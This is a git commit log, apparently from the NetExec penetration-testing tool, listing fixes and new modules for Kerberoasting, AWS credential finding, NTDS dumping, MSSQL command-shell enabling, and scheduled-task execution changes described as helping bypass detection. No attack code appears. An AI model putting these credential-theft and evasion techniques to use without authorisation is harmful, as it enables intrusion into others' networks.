mpgn a6225e5df7 fix review 2025-06-25 00:30:03 +02:00
mpgn 64cbd35206 update flag to better understant 2025-06-24 21:40:02 +00:00
mpgn 26c3f661a2 Merge pull request #755 from Pennyw0rth/mssql
Update mssql enum login
2025-06-24 11:31:59 +02:00
mpgn 1ffe908f80 fix review 2025-06-24 10:36:27 +02:00
mpgn 9bd4f91d58 fix review 2025-06-24 10:29:33 +02:00
mpgn 832969cf09 better output 2025-06-24 00:38:05 +02:00
mpgn cf99d9cd45 better mssql enum login 2025-06-23 21:52:27 +02:00
Alex e446d36779 Merge pull request #750 from Pennyw0rth/neff-fix-issues 2025-06-21 19:25:26 +02:00
Xed e2a530af15 Merge branch 'main' into drop_library_ms 2025-06-21 14:06:45 +02:00
Alexander Neff e87e80a58d Fix file path on windows, #746 2025-06-19 13:52:32 -04:00
Alexander Neff d317d4993f Fix #748 2025-06-19 13:52:09 -04:00
Alex 4d0f950de0 Merge pull request #719 from azoxlpf/feat/kerberoast-no-preauth
Add Kerberoasting support with no-preauth user
2025-06-19 17:25:38 +02:00
Alexander Neff 203f532401 Linting 2025-06-19 11:15:20 -04:00
zblurx 4f8587f6a7 Merge pull request #745 from Pennyw0rth/fix-cbt-check
Fix #744
2025-06-19 11:34:18 +02:00
Alex 4d7ec6ea92 Merge pull request #747 from Reelix/patch-1 2025-06-18 17:11:01 +02:00
Reelix 6562500d0a Fixed minor typo in issue template
openning -> opening

Signed-off-by: Reelix <[email protected]>
2025-06-18 16:59:11 +02:00
mpgn 581fa4ae19 fix 2025-06-17 17:00:13 +02:00
mpgn 66c8d0cea7 update rdp exec code 2025-06-17 16:59:14 +02:00
zblurx b7259fd68c Fix #744 2025-06-17 16:58:58 +02:00
Alex 9ca183d549 Merge pull request #743 from Pennyw0rth/neff-fix-cbt-check
Fix conn reset error on windows if dc doesnt have tls cert
2025-06-17 13:57:14 +02:00
mpgn f227432e7d Merge pull request #739 from Pennyw0rth/fix_is_dc
Fix function to check if hosts is a dc or not
2025-06-17 13:54:08 +02:00
Alexander Neff 79b6c7a2ad Fix conn reset error on windows if dc doesnt have tls cert 2025-06-17 07:38:23 -04:00
Alex 0630e22503 Merge pull request #608 from termanix/notepad
New SMB Module Notepad
2025-06-17 13:27:17 +02:00
Alexander Neff 74ecd3ab37 Don't break out of loop if one file doesn't have meaningful content 2025-06-17 07:07:50 -04:00
Alexander Neff 17e03d2405 Retrieve files after killing the process 2025-06-17 07:07:23 -04:00
mpgn ca932eb383 fix error is dc 2025-06-17 09:41:20 +02:00
Alex a48cbdb562 Merge pull request #741 from Pennyw0rth/neff-fix-ldap 2025-06-16 21:49:29 +02:00
Alexander Neff 659c2256dc Skip cbt check if port explicitly set to 389 2025-06-16 14:34:14 -04:00
mpgn 01b83d44d3 fix review 2025-06-16 17:56:18 +00:00
termanix 05ad12f911 add kill option if user wants to kill process and read files 2025-06-16 13:50:33 -04:00
termanix 059a20b52b Merge branch 'main' into notepad 2025-06-16 18:05:42 +03:00
mpgn a81cc6740b Merge branch 'main' into feat/kerberoast-no-preauth 2025-06-16 16:42:11 +02:00
Alexander Neff e17b5ada8c Prevent crash when password flag was not specified 2025-06-16 09:56:49 -04:00
Alexander Neff 5fb9946d8a Swap logic to -u asreproastable --no-preauth kerberoastable 2025-06-16 09:50:19 -04:00
Alexander Neff dd637cfb18 Fix setting username when we authenticate with ccache 2025-06-16 09:47:27 -04:00
Alexander Neff b6a0599252 Require username/user list for no-preauth to kerberoast them 2025-06-16 08:54:24 -04:00
Alexander Neff 9e780c71a9 Use kerberos with no-preauth and allow preauth authentication if flag is set 2025-06-16 08:53:50 -04:00
Alexander Neff 4cd0bf12c7 Fix indentation 2025-06-16 08:01:18 -04:00
Alex fde3de726e Merge pull request #455 from dev-fortress/aws-credentials
New module: AWS Credentials Finder
2025-06-16 13:49:06 +02:00
Alexander Neff 09bdf0b6a6 Apply changes by @dev-fortress 2025-06-16 07:41:29 -04:00
Alexander Neff 6ef84832bf Revert "Update aws-credentials.py"
This reverts commit fc0c615fcd.
2025-06-16 07:40:57 -04:00
azoxlpf 2922c04645 fix: corrected bad variable name 2025-06-16 08:31:47 +02:00
mpgn 9a755391f1 check only if port 135 is open, better faster 2025-06-15 23:57:53 +02:00
mpgn 14b1bc63b8 add more resiliant check on dc in case rpc is filtered 2025-06-15 22:53:45 +02:00
mpgn 3fe32d6530 add timeout to isdc function in case rpc is blocked 2025-06-15 22:39:43 +02:00
Braiant Giraldo fc0c615fcd Update aws-credentials.py
Refined AWS credentials detection: updated both Bash and PowerShell scripts to search only for files named 'credentials' that contain the keyword 'aws', which is consistently present in relevant AWS configuration files. Removed 'config' from the scope after confirming it contains no useful information. Also suppressed 'permission denied' errors in the Bash script for cleaner output during scans.

Signed-off-by: Braiant Giraldo <[email protected]>
2025-06-14 19:40:41 -05:00
Professor Bossetti 0f6f6ad9e6 Merge branch 'main' into patch-1 2025-06-14 12:43:01 +02:00
Alex 31acd22652 Merge pull request #737 from Pennyw0rth/neff-fix-badsuccessor 2025-06-14 11:26:59 +02:00
Professor Bossetti 3332bee3d5 Alignment with main branch 2025-06-14 06:54:26 +00:00
Alexander Neff 094cab542f Fix dns resolution when finding 2025 dc 2025-06-13 18:12:12 -04:00
Kahvi-0xFF c64a5b13aa Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-13 10:14:15 -04:00
zblurx 2cd67b9dd3 Merge pull request #718 from rtpt-romankarwacik/efsr_spray_module
Add efsr_spray module
2025-06-13 15:03:56 +02:00
zblurx 4a7ad60f62 Merge branch 'main' into efsr_spray_module 2025-06-13 15:01:27 +02:00
Professor Bossetti 2bd75d987f Image size improvements and pinned Netexec version
Minimized final image size (From ~2 GB to ~350 MB)
Pinned a stable NetExec version

Signed-off-by: Professor Bossetti <[email protected]>
2025-06-13 12:09:51 +02:00
azoxlpf f3e60e5ed6 refactor(kerberos): unify AES etype handling and use f-strings 2025-06-13 10:06:28 +02:00
fpreynaud d4168b425b Merge branch 'main' into wcc_llmnr 2025-06-13 09:41:13 +02:00
Alex aec6448241 Merge pull request #493 from Yeeb1/module_ggp_privs
Add new SMB module to extract GPO deployed privilege assignments
2025-06-13 00:33:33 +02:00
Alexander Neff 25fee91e4e Replace share listing with test read on SYSVOL share 2025-06-12 18:29:01 -04:00
Alexander Neff 55cd9bb88d Fix retrieving defaultNamingContext from ldap connection 2025-06-12 18:14:47 -04:00
Alexander Neff 64ccbbb5df Formatting 2025-06-12 18:14:08 -04:00
Alexander Neff bfada649f3 Formatting 2025-06-12 16:39:52 -04:00
Alex 1779e842ff Merge branch 'main' into module_ggp_privs 2025-06-12 21:02:16 +02:00
Kahvi-0xFF 72deeca890 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-12 09:50:43 -04:00
Kahvi-0xFF a62df1b1dd Merge branch 'Pennyw0rth:main' into main 2025-06-12 09:31:54 -04:00
Kahvi-0xFF cbcc26f2c5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-12 09:31:24 -04:00
Roman Karwacik ff0c47bd5e check if pipe was activated even if deletion was not successful 2025-06-12 12:31:41 +02:00
Alex 0cb26b9760 Merge branch 'main' into efsr_spray_module 2025-06-11 11:24:07 +02:00
Roman Karwacik dbd476d3aa linting 2025-06-11 11:07:51 +02:00
Roman Karwacik a5dbfdbab4 add option to exclude shares and exclude SYSVOL by default 2025-06-11 11:06:24 +02:00
termanix 7a39c4bd46 removed unnecessary lines, editted try&except blocks 2025-06-10 16:03:22 -04:00
Alex f5604a63d1 Merge branch 'main' into refactor_SMBSpider 2025-06-10 16:04:18 +01:00
termanix 15376c3fdb Merge branch 'Pennyw0rth:main' into notepad 2025-06-10 17:26:29 +03:00
Alex 5da5bf1271 Merge pull request #649 from d4ytox/Refactoring-NXC_PATH
Refactoring nxc path and adding support for XDG Base Directory - addressing issue #558
2025-06-10 14:54:32 +02:00
Alexander Neff 06c0a7fb3d Linting 2025-06-10 08:43:08 -04:00
Alexander Neff ea0a42af7c Fix path in user-desc module 2025-06-10 08:38:57 -04:00
Alexander Neff e2351bac12 Remove legacy code 2025-06-10 08:22:45 -04:00
Alexander Neff 5101a96e03 Replace config paths with variable and formatting 2025-06-10 08:14:51 -04:00
Alexander Neff 029ec26024 Remove legacy code 2025-06-10 08:03:49 -04:00
Alexander Neff b9bee6bb0b Use NXC_PATH instead of XDG env var and also initialize TMP folder when nxc folder exists 2025-06-10 07:59:27 -04:00
Alexander Neff 07803cb58c Use NXC_CONFIG instead of retrieving it with NXC_PATH/nxc.conf 2025-06-10 07:58:44 -04:00
Alex 7ea164af97 Normpath for nxc folder 2025-06-10 12:47:02 +02:00
Alex 0b4d0bb21c Replace single quotes 2025-06-10 12:46:37 +02:00
Alex 4af8b4a826 Merge branch 'main' into refactor-nxc-path 2025-06-10 12:45:33 +02:00
haytehcy a0ab16c45b minor tweaks 2025-06-10 10:48:21 +01:00
Alex 1f07880e4e Merge branch 'Pennyw0rth:main' into refactor_SMBSpider 2025-06-10 09:33:21 +01:00
haytehcy ae44a34e74 Added a few more QOL changes to spider 2025-06-10 09:32:37 +01:00
Roman Karwacik 318ac2ec61 move fail logs into single row for better readability 2025-06-10 09:06:42 +02:00
Roman Karwacik aae875d1cd removed hardcoded error messages 2025-06-10 09:03:52 +02:00
Alexander Neff 3bc5371dd9 Reset tab counter for each user 2025-06-09 16:28:34 -04:00
Alexander Neff 609b0ee2db Formatting 2025-06-09 15:48:03 -04:00
Alexander Neff bbd0ae1200 Formatting 2025-06-09 15:39:37 -04:00
Alex 7a1eca10d6 Merge branch 'main' into notepad 2025-06-09 21:36:32 +02:00
Alex 3591950f02 Merge pull request #725 from Mojo8898/main
Fixing --generate-hosts-file smb option
2025-06-09 15:31:26 +02:00
Alex 1393d13106 Merge pull request #561 from crosscutsaw/presence
new module: smb > presence
2025-06-08 18:24:41 +02:00
Mickey De Baets af39e64aff Merge branch 'main' into main 2025-06-08 14:25:09 +02:00
Mojo8898 eb7b522552 Fixing --generate-hosts-file smb option 2025-06-08 04:42:58 -04:00
Alex 812c277daa Merge pull request #724 from Pennyw0rth/neff-add-ls-check
Add error handling if we can't mount share with --ls
2025-06-07 15:13:52 +02:00
Alexander Neff cdecf3f979 Add error handling if we can't mount share with --ls 2025-06-07 14:52:41 +02:00
Alex 9f7c35cb33 Merge pull request #722 from Pennyw0rth/neff-fix-version-log
Move version log after file logger is attached
2025-06-06 16:30:33 +02:00
Alexander Neff 8e30699886 Move version log after file logger is attached so it is in the file log as well 2025-06-06 10:23:30 -04:00
Kahvi-0xFF 5699ccc173 Update schtask_as.py - added option to specify exec method
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-05 10:10:36 -04:00
zblurx 57b3f022ba update db mismatch error printed 2025-06-05 15:45:16 +02:00
zblurx 9d3e820aac update database table declaration 2025-06-05 15:39:57 +02:00
Kahvi-0xFF 7e23fb3a9a Update atexec.py to help bypass detection
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-05 09:13:02 -04:00
Kahvi-0xFF c027b4a519 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:32:41 -04:00
Kahvi-0xFF 9d2a1e86b7 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:32:01 -04:00
Kahvi-0xFF cd33dc9eb5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:23:45 -04:00
Kahvi-0xFF 5ca5c96015 Update schtask_as.py to help bypass detection
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:11:21 -04:00
azoxlpf 358c4ad3fc Add Kerberoasting support with no-preauth user 2025-06-04 11:11:47 +02:00
Roman Karwacik f2b180e9ca Add efsr_spray module 2025-06-04 09:26:04 +02:00
Alex fbc787c620 Merge pull request #717 from Pennyw0rth/neff-fix-query
Fix querying when non searchResultEntries are returned
2025-06-03 22:39:20 +02:00
Alexander Neff 76ed75e58b Skip non-searchResult entries similar to how the parser works 2025-06-03 15:59:05 -04:00
haytehcy ac4c470c16 Minor Tweaks to Spider 2025-06-03 18:31:30 +01:00
Alex 00ffc96832 Merge branch 'Pennyw0rth:main' into refactor_SMBSpider 2025-06-03 17:30:54 +01:00
Alex 3e3987451b Merge pull request #712 from Pennyw0rth/neff-fix-asreproast-anon
Enable asreproast with anonymous ldap logins
2025-06-03 11:17:02 +02:00
Alex 9d3f34e4b6 Merge pull request #711 from t94j0/main
Update kerberoast command output to be idiomatic
2025-06-03 11:15:09 +02:00
Alex 6decd7fb00 Merge pull request #714 from Pennyw0rth/neff-fix-subnets
Add base_dn option to subnet module
2025-06-03 11:09:55 +02:00
Alexander Neff 10e7c62c30 Allow anonymous auth with asreproast and kerb/hash auth 2025-06-03 05:07:41 -04:00
Alexander Neff e2e70a7193 Allow an empty nt hash 2025-06-03 05:07:21 -04:00
Alexander Neff dc0bde6d80 Add base_dn option to subnet module 2025-06-03 04:40:39 -04:00
Mickey De Baets db5bf36a1c Merge branch 'main' into main 2025-06-02 21:46:44 +02:00
Max Harley 73dc41122a Address comments from NeffIsBack 2025-05-30 11:51:42 -04:00
Alexander Neff 2a6b4c7e4b Formatting 2025-05-29 19:25:34 -04:00
Alexander Neff ad637e1c8e Enable asreproast with anonymous ldap logins 2025-05-29 19:15:19 -04:00
Alexander Neff e8f62d23c2 Hide non admins in --verbose 2025-05-29 18:30:07 -04:00
Alexander Neff 655c272462 Functionalize rpc methods, fix kerberos auth and resolve usernames for non-admin SIDs 2025-05-29 18:23:03 -04:00
Alexander Neff f24bb77b0c Formatting 2025-05-29 17:39:14 -04:00
Alexander Neff e7138b6a15 Add extraction of scheduled tasks 2025-05-29 17:38:40 -04:00
Max Harley 74c252656a Update kerberoast command output to be idiomatic
The output currently shows as username\domain. Most of the time, tools output
usernames in the opposite way where the domain is first, and then the username
2025-05-29 17:13:14 -04:00
Alexander Neff 9a11512426 Formatting 2025-05-29 14:19:04 -04:00
Alexander Neff 2e86a0e521 Functionalize admin enumeration 2025-05-29 13:55:26 -04:00
zblurx 71ccfd930d Merge pull request #709 from Pennyw0rth/ldap_checker_removal
Ldap checker removal
2025-05-28 16:04:31 +02:00
Alex 1c1194aa31 Merge pull request #666 from termanix/dc-list
REopen Update --dc-list Now check trusted domains DCs
2025-05-28 16:02:14 +02:00
termanix ed88beebf9 added remove sign to description on enum_trust 2025-05-28 09:56:21 -04:00
termanix 36bdf2fb63 added author to pi 2025-05-28 09:51:13 -04:00
zblurx 155553a749 revert db changes 2025-05-28 15:48:15 +02:00
termanix 48839579e2 Merge branch 'main' into dc-list 2025-05-28 09:43:54 -04:00
Alexander Neff b2fe25ac91 Change domain color on trust enumeration 2025-05-28 09:38:30 -04:00
Alexander Neff fdfafb6f6e Separate domain trusts visually by using succes instead of hightlight 2025-05-28 09:18:37 -04:00
Alexander Neff 87c95a4133 Move int casting to value source 2025-05-28 09:01:18 -04:00
Alexander Neff 23bab54b1c Remove duplicate if list is empty check 2025-05-28 08:37:13 -04:00
Alexander Neff 5456154fa2 Fix trust bits 2025-05-28 08:36:47 -04:00
Alexander Neff 1904ee44ae Simplify logic 2025-05-28 08:17:48 -04:00
Alexander Neff ccd39ff2e3 Fix error handling when resolving the DCs 2025-05-28 08:12:04 -04:00
Alex 1a37573bea Merge pull request #710 from Pennyw0rth/neff-fix-spec
Fix spec file
2025-05-28 14:05:04 +02:00
Alexander Neff a6542cac64 Fix spec file 2025-05-28 07:55:30 -04:00
Alexander Neff f3d5f8df0a Readd ldap-checker module with 'REMOVED' note 2025-05-28 07:21:04 -04:00
Alexander Neff f36c53f34f Formatting 2025-05-28 07:06:47 -04:00
Alexander Neff dd2a053e68 Add debug log statements 2025-05-28 07:06:33 -04:00
Alexander Neff a651678237 Add exception handling if no TLS cert is available 2025-05-28 06:41:32 -04:00
Alexander Neff 8fb63349df Add debug log statements 2025-05-28 06:33:19 -04:00
Alexander Neff 0d87cc573b Update impacket to add the latest changes by zblurx regarding the cbt 2025-05-28 06:29:05 -04:00
Alexander Neff 8fd0e3917d Rename variable to more meaningful name 2025-05-28 06:28:37 -04:00
zblurx 3b0f74fdf6 cleanup the code 2025-05-28 12:12:55 +02:00
zblurx 3fb002c2b7 update poetry lock 2025-05-28 12:08:02 +02:00
zblurx f808948970 update e2e 2025-05-28 11:37:57 +02:00
zblurx 267bd93c42 change colors and add values into db 2025-05-28 11:37:50 +02:00
zblurx 5bbdb70ec9 update cbt check 2025-05-28 10:57:30 +02:00
zblurx f8033d6c64 fix ldap-signing check 2025-05-27 19:14:14 +02:00
zblurx 66642a514f implement the checks from ldap-checker module in core ldap protocol 2025-05-27 19:10:46 +02:00
Alex 3bf9de3f46 Merge pull request #707 from Pennyw0rth/neff-switch-impacket
Switch impacket branch to Pennyw0rth fork
2025-05-27 15:16:14 +02:00
Alexander Neff f61e90b770 Switch impacket branch to Pennyw0rth fork 2025-05-27 09:10:43 -04:00
Alexander Neff 4f2a611d40 Add credits 2025-05-27 08:56:47 -04:00
Alexander Neff 812ceabb70 Hide enumerate admins to --verbose for reducing logs when scanning large ranges 2025-05-27 08:48:48 -04:00
Alexander Neff c62b5fc18b Fix logging bug in change-password 2025-05-27 08:45:28 -04:00
Alexander Neff b2b5c68e1c We must connect to the DC instead of the target because we can only enumerate domain groups on the DC 2025-05-27 08:45:15 -04:00
Alexander Neff 7108e2aa5b Make opsec_safe as we only use native win protocols 2025-05-27 07:42:24 -04:00
Alexander Neff 81a144902f Group users when being in both dom admin and enterprise admin group 2025-05-27 07:42:02 -04:00
Alexander Neff 65bd7aedf9 Remove Administrators group as not found and readd check for dom admin in folders 2025-05-27 07:32:14 -04:00
Alexander Neff 6c9c141885 Skip administrator folder 2025-05-27 07:07:35 -04:00
Alexander Neff a6fa872b3b Switch to user objects instead of multiple lists 2025-05-27 06:59:49 -04:00
Alexander Neff 747df104ff Simplify exception handling 2025-05-27 06:59:11 -04:00
haytehcy 6e52d617c8 Ruff checks 2025-05-26 22:03:44 +01:00
haytehcy afb78358cf Refactored SMBSpider 2025-05-26 21:38:34 +01:00
Alex e2f225ad34 Merge branch 'main' into dc-list 2025-05-26 11:44:51 +02:00
Alexander Neff 3b12e1407a Merge branch 'main' into presence 2025-05-25 16:25:42 -04:00
Alex 6a0a985c32 Merge pull request #629 from Pennyw0rth/neff-update-ruff
Update Ruff and Fix Linting
2025-05-25 22:21:46 +02:00
Alexander Neff 3fcb3777db Regenerate lock file 2025-05-25 14:32:49 -04:00
Alexander Neff d0f9b2d9e2 Display proper info when there is no adcs in the domain 2025-05-25 14:25:02 -04:00
Alexander Neff 81e4977324 Fix remove-mic module 2025-05-25 14:21:44 -04:00
Alexander Neff 1b750d8fbc Don't test change-password module otherwise we can't log in anymore... 2025-05-25 14:16:33 -04:00
Alexander Neff 730a4bfded Linting 2025-05-25 13:11:32 -04:00
Alexander Neff 9e1c44bcfb Merge branch 'main' into neff-update-ruff 2025-05-25 13:11:07 -04:00
Alexander Neff 769f82f5e3 Linting 2025-05-25 13:10:28 -04:00
Alexander Neff c91c9dd93b Linting 2025-05-25 13:10:01 -04:00
mpgn b1f0368835 Merge pull request #664 from Pennyw0rth/be
Make nxc compatible with bloodhound-ce zip
2025-05-25 18:55:52 +02:00
mpgn 1afef2fdf5 Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 18:48:44 +02:00
Alexander Neff dd32695096 Update lock file 2025-05-25 12:47:13 -04:00
mpgn 1281b0f296 Merge pull request #671 from Pennyw0rth/fix_host_info 2025-05-25 18:46:59 +02:00
Alexander Neff b73e51c0b7 Merge branch 'main' into neff-update-ruff 2025-05-25 12:46:35 -04:00
Alexander Neff e5d3b66fb3 Add comments 2025-05-25 11:29:02 -04:00
Alexander Neff 70910223b4 Move bloodhound package info function to the helpers 2025-05-25 11:04:29 -04:00
Alexander Neff 09cb12d759 Swap command order, otherwise pipx will complain 2025-05-25 11:02:10 -04:00
Alexander Neff 51dfd5179a Actually as the poetry file now says 'bloodhound-ce' we must uninstall that package 2025-05-25 10:47:07 -04:00
Alexander Neff 962a7ec45c Add info if 'bloodhound' package not found 2025-05-25 10:43:38 -04:00
Alex ff531553ac Merge pull request #706 from Pennyw0rth/neff-improve-eventlog_creds
Improve eventlog_creds
2025-05-25 16:16:16 +02:00
Alexander Neff 614de0b75f Use already existing config object 2025-05-25 10:11:49 -04:00
Alexander Neff c3c487600e Add missing check if config section is missing 2025-05-25 10:10:29 -04:00
Alexander Neff 2c12ab7202 Improve regex match and reduce false positives 2025-05-25 09:48:58 -04:00
Alexander Neff 379641e25c Allow setting the limit to UNLIMITED 2025-05-25 09:48:38 -04:00
Alexander Neff 09ca4c91f4 Implement unlimited querying with MSEven 2025-05-25 09:47:54 -04:00
mpgn 65e6e8cf2e fix poetry lock 2025-05-25 12:21:42 +00:00
mpgn 2164b4c699 Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 14:17:26 +02:00
Alexander Neff ef7e97478e Add missing output variable 2025-05-25 08:14:37 -04:00
Alexander Neff 779f955f0f Exclude Application Data as this creates and infinite recursion on wmi/winrm 2025-05-25 07:45:52 -04:00
Alex ded34e0de2 Merge pull request #705 from Pennyw0rth/neff-fix-badsuccessor
Check for win server 2025 instead of DFL 2025
2025-05-25 13:21:46 +02:00
Alexander Neff e53f1cf378 Now checking for dc with win server 2025 and not functional domain level to be 2025 2025-05-25 07:16:03 -04:00
Alex 5c36c9859f Merge pull request #704 from Pennyw0rth/neff-fix-ldap
Switch LDAP source to fixed version
2025-05-25 13:15:03 +02:00
mpgn 15fb6a3d1f update poetry lock 2025-05-25 11:07:30 +00:00
mpgn 95ca5b437a Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 13:04:29 +02:00
mpgn 7d3dd40912 make bloodhound-ce default 2025-05-25 11:02:38 +00:00
Alexander Neff 263b1df2ae Revert #682 and reenable ldap signing 2025-05-25 06:58:42 -04:00
Alexander Neff 789edeb30a Switch to the fixed ldap signing version from zblurx 2025-05-25 06:57:34 -04:00
Alexander Neff 1280eaf0cb Fix winrm command execution and add missing parameters to ps_execute 2025-05-25 06:54:20 -04:00
Alexander Neff a3889b84f1 Print output line by line 2025-05-25 06:53:56 -04:00
Alexander Neff 70cc90ad11 Merge branch 'main' into aws-credentials 2025-05-24 11:13:58 -04:00
Alex 0befdd064c Merge pull request #703 from Pennyw0rth/neff-fix-logger-port
Fix logging port and also update the port when switching to LDAPS
2025-05-24 17:12:42 +02:00
Alexander Neff a4cf832e9d Remove wmi from executable protocols and remove wmiexec from exec-methods due to bugs 2025-05-24 09:54:47 -04:00
Alexander Neff 5cd7a6c7e8 Fix logging port and also update the port when switching to LDAPS 2025-05-24 09:32:10 -04:00
Alexander Neff 0fe468f39b Add wmi to supported protocols 2025-05-24 09:24:01 -04:00
Alexander Neff 4714664abf Formatting 2025-05-24 08:53:30 -04:00
Alex c8430b661e Merge branch 'main' into aws-credentials 2025-05-24 14:40:37 +02:00
Braiant Giraldo 1431481116 Update aws-credentials.py
Added context.log.highlight() to the module

Signed-off-by: Braiant Giraldo <[email protected]>
2025-05-23 19:31:48 -05:00
mpgn c15faf1623 Merge pull request #702 from Pennyw0rth/badsuccesor
Add Badsuccessor module
2025-05-23 18:10:59 +02:00
Alexander Neff b84d04a448 Make text more precise 2025-05-23 12:07:49 -04:00
Alexander Neff e75512a93c Add domain functional level check 2025-05-23 12:04:19 -04:00
Alexander Neff fb754166e4 Add options text 2025-05-23 11:41:42 -04:00
Alexander Neff dbc3bd335a Formatting 2025-05-23 11:40:58 -04:00
mpgn c09376859e fix ruff 2025-05-23 17:32:04 +02:00
mpgn d1d700243b add module badsuccessor 2025-05-23 17:13:33 +02:00
mpgn 057872cc15 add exam 2025-05-23 17:13:10 +02:00
Alex e6fe63475a Merge pull request #691 from crosscutsaw/ntdsutil-new
update ntdsutil.py to behave like --ntds
2025-05-23 00:01:24 +02:00
Alexander Neff 073abc9652 Remove unused import 2025-05-22 17:58:25 -04:00
Alexander Neff abf9b34ad0 Make use of the filename template in the smb protocol 2025-05-22 17:57:26 -04:00
mpgn 1319fb4fc4 Merge pull request #670 from Pennyw0rth/ldap_fail
Fix ldap simple auth with base object
2025-05-22 22:53:10 +02:00
Alexander Neff 3f38b5fc8c Merge both if statements 2025-05-22 16:43:27 -04:00
Alexander Neff 41b60eb3fc Restrict swapping the scope to when we have an operationsError and scope is None (didn't try with scope=baseObject) 2025-05-22 16:41:36 -04:00
FRE d76127cc09 [WCC] Add check for LLMNR 2025-05-22 15:54:02 +02:00
FRE 698c32f73d [WCC] Ignore KDNIC in NBTNS check 2025-05-22 15:08:56 +02:00
mpgn a9e182770f update code 2025-05-21 14:47:14 +02:00
Alexander Neff b87f525d87 Add the Administrators to checked groups 2025-05-20 18:44:09 -04:00
Mickey De Baets 6a9f1212c1 Merge branch 'main' into main 2025-05-20 15:18:20 +02:00
termanix 500eaa7ca8 enum_trust ruff fixed 2025-05-20 09:08:37 -04:00
termanix a689cd1459 Replaced Reprecated with Removed 2025-05-20 09:05:30 -04:00
termanix c25640c997 Merge branch 'Pennyw0rth:main' into dc-list 2025-05-20 09:02:26 -04:00
Alex 69c1137a3b Merge pull request #699 from Pennyw0rth/NeffIsBack-patch-1 2025-05-20 12:31:27 +02:00
emre e18e69e563 Update ntdsutil.py 2025-05-20 07:26:07 +03:00
Alex ac80cc2a73 Update PULL_REQUEST_TEMPLATE.md
Signed-off-by: Alex <[email protected]>
2025-05-20 01:19:01 +02:00
Alexander Neff d481f55a14 Simplify logic and remove highlight if no admin was found in directories 2025-05-18 20:14:59 -04:00
Alexander Neff b0d34ad7fc Simplify logic 2025-05-18 20:13:21 -04:00
Alexander Neff 2e0443ff8a Remove duplicate initialization 2025-05-18 20:05:24 -04:00
Alexander Neff e2539855a3 Simplify logic 2025-05-18 20:05:10 -04:00
Alexander Neff e08935d31a Simplify logic 2025-05-18 19:59:35 -04:00
Alexander Neff af56d9470c Remove unused function and simplify logic 2025-05-18 19:54:07 -04:00
Alexander Neff fb52fc6dc1 Simplify logic 2025-05-18 19:52:45 -04:00
Alexander Neff a2d4d9319a Simplify logic 2025-05-18 19:49:41 -04:00
Alexander Neff a219e092b8 Get only the default domain and make code shorter 2025-05-18 19:30:20 -04:00
Alexander Neff 01c7752522 Improve readability 2025-05-18 19:29:27 -04:00
Alexander Neff 9be36017b6 Replace .error with .fail and clean up code 2025-05-18 19:02:14 -04:00
Alex d1239445e7 Merge branch 'main' into presence 2025-05-19 00:52:48 +02:00
emre 137f70a84c Update ntdsutil.py 2025-05-19 00:37:43 +03:00
emre c3c4edbe4e Update ntdsutil.py 2025-05-19 00:37:02 +03:00
emre 11458b07f0 ruff fix all 2025-05-19 00:26:02 +03:00
emre c34d00651b ruff fix everything 2025-05-19 00:23:13 +03:00
emre 7e0476d50b Update ntdsutil.py 2025-05-18 20:39:22 +03:00
Alex e721917b8e Merge pull request #695 from Cyb3rC3lt/main
Updated whoami and find-computer modules
2025-05-18 12:50:18 +02:00
Alexander Neff e9d17004d4 Formatting 2025-05-18 06:46:23 -04:00
Alexander Neff c11090e1e6 Remove unnecessary try&except 2025-05-18 06:46:14 -04:00
Alexander Neff d7333e25d9 Add missing import 2025-05-18 06:45:52 -04:00
David Kennedy 07f273f8c4 Reverted size limit to a large number i.e. 999
Signed-off-by: David Kennedy <[email protected]>
2025-05-18 11:15:05 +01:00
Alex 844af809d5 Merge pull request #452 from lodos2005/main
eventlog_creds Module
2025-05-18 12:05:36 +02:00
David Kennedy 460c351228 Updated to use parse_results and import datetime
Signed-off-by: David Kennedy <[email protected]>
2025-05-18 10:38:31 +01:00
emre fce0ed7ade Update presence.py 2025-05-18 09:49:09 +03:00
Alex 7aa6c69039 Merge pull request #696 from Pennyw0rth/neff-fix-winrm-db
Fix winrm database logic
2025-05-17 22:30:34 +02:00
Alex 9f906eaa93 Merge pull request #694 from cyberG33k02/false-negative-fix
fix(ntlm): include server hostname in Workstation field of Authentication
2025-05-17 22:10:39 +02:00
Alexander Neff 07a0ae0aa9 Add database logic for hash login and ensure admin relation is added via queried userid 2025-05-17 15:49:25 -04:00
cyber02 4da19545f6 fix: added reference to issue #694 in NTLM workstation field comment, added the same fix to the hash_login() method 2025-05-17 20:39:30 +01:00
emre 4992c454a3 Update presence.py 2025-05-17 22:02:41 +03:00
siouxchief 92ac8be7da Commit 2025-05-17 11:45:37 +01:00
cyber02 fcb3078476 fix(ntlm): include server hostname in Workstation field of Authenticate message 2025-05-16 23:01:45 +01:00
mpgn f3da3dad00 avoid changing login logic 2025-05-15 23:19:29 +02:00
mpgn ee945fa9b4 fix review 2025-05-15 23:13:23 +02:00
mpgn 2cf004db4f fix review 2025-05-15 23:13:00 +02:00
emre 770cb6ab7e Update ntdsutil.py 2025-05-15 21:26:26 +03:00
Alex 07b4eba6e0 Merge pull request #557 from crosscutsaw/enable_cmdshell
new module: mssql > enable_cmdshell
2025-05-15 20:11:26 +02:00
Alexander Neff 6030c49f54 Specify that it is an MSSQL server 2025-05-15 14:08:17 -04:00
emre 86aac144b5 Update ntdsutil.py 2025-05-15 21:04:23 +03:00
Alexander Neff 1b93d061d9 Rename module link_enable_xp.py to link_enable_cmdshell.py, so that naming scheme is similar to enable_cmdshell 2025-05-15 14:01:26 -04:00
Alexander Neff 30a52aa84f Change .error to .fail to properly use context in logger 2025-05-15 14:00:32 -04:00
Alexander Neff 7cdd1238a2 Formatting and exit when required action is not available 2025-05-15 13:59:42 -04:00
Alex fda6b6a2f4 Merge branch 'main' into enable_cmdshell 2025-05-15 19:16:36 +02:00
